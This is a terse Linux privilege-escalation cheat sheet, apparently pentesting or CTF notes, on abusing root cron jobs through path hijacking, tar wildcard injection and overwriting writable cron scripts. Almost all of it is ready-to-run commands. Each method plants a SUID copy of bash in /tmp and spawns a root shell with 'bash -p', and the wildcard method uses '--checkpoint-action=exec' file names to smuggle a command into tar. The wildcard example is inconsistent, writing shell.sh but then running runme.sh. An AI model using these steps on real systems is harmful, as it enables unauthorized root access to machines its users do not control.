Cron Jobs

Sometimes there, sometimes not

CRON PATHS:

// Type 1 : Crons Paths

cat /etc/crontab # What's running every minute and their path
cat /var/log/cron.log

# Example
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
chmod +x /home/user/overwrite.sh
/tmp/bash -p
whoami

WILDCARDS:

// Type 2: Cron Wildcards

cat /etc/crontab # What's running every minute and their path
cat /var/log/cron.log
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/shell.sh # Change the path env
chmod +x runme.sh

touch /home/user/--checkpoint=1 # Check for path
touch /home/user/--checkpoint-action=exec=sh\ runme.sh # Check for path
/tmp/bash -p
whoami

FILE OVERWRITES:

// Type 3: File Overwrite (Most Common)

cat /etc/crontab
cat /var/log/cron.log

# Example overwrite.sh is weird one with file permission.
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh
/tmp/bash -p
whoami